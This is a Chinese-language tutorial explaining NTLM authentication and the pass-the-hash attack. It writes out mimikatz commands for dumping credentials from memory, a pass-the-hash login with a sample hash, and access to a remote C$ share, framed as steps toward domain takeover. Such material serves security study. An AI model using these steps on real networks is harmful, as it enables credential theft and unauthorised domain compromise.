概念
早期SMB协议明文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM。
NTLM 是一种用于身份验证和会话安全的协议。它最初由微软开发,用于 Windows 操作系统中的身份验证和安全服务。NTLM 协议主要用于在 Windows 网络环境中对用户进行身份验证,并且在许多企业网络中被广泛采用。
NTLM 协议的工作原理涉及以下几个步骤:
- 挑战-响应(Challenge-Response)身份验证:在进行身份验证时,服务器会向客户端发送一个随机数值(挑战),客户端使用该挑战和用户的凭据计算出一个响应,然后将响应发送回服务器进行验证。
- 会话安全:一旦身份验证成功,NTLM 还提供了会话级别的安全机制,用于加密和保护通信中的数据。
原理
哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、 LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。
NTLM验证靠HASH值
- 获得一台域主机的权限
- Dump内存获得用户hash
- 通过pass the hash尝试登录其他主机
- 继续搜集hash并尝试远程登录
- 直到获得域管理员账户hash,登录域控,最终成功控制整个域
1、client发送账户名user到server
2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client
3、client接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,发送response给server
4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形势与server生成的net-ntlm hash一个格式
图示:
Hash传递攻击利用
利用工具:mimikatz
privilege::debug 提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息
sekurlsa::pth /user:administrator /domain:123.com /ntlm:a803cf45d87009c404eb89df4b1ae94c
弹出新窗口
dir \\10.10.10.254\c$
利用过程:
1.以管理员用户启动cmd。必须以管理员身份运行。2.开启工具 mimikatz
3.privilege::debug 提升权限到SYSTEM,因为只有SYSTEM用户才能读取内存中的Hash 值。
4.sekurlsa::logonpasswords ,获取内存中保存的登录信息。这个虚拟机版本不行,临时换了一台
5.sekurlsa::pth /user:administrator /domain:ab.com /ntlm:329153f560eb329c0e1deea55e88a1e9
弹出来一个新的命令执行框。
pth: 攻击方式,hash传递
/user:administrator:认证用户名
/ntlm:获取的NTLM
6.dir \ip\c$ 查看c盘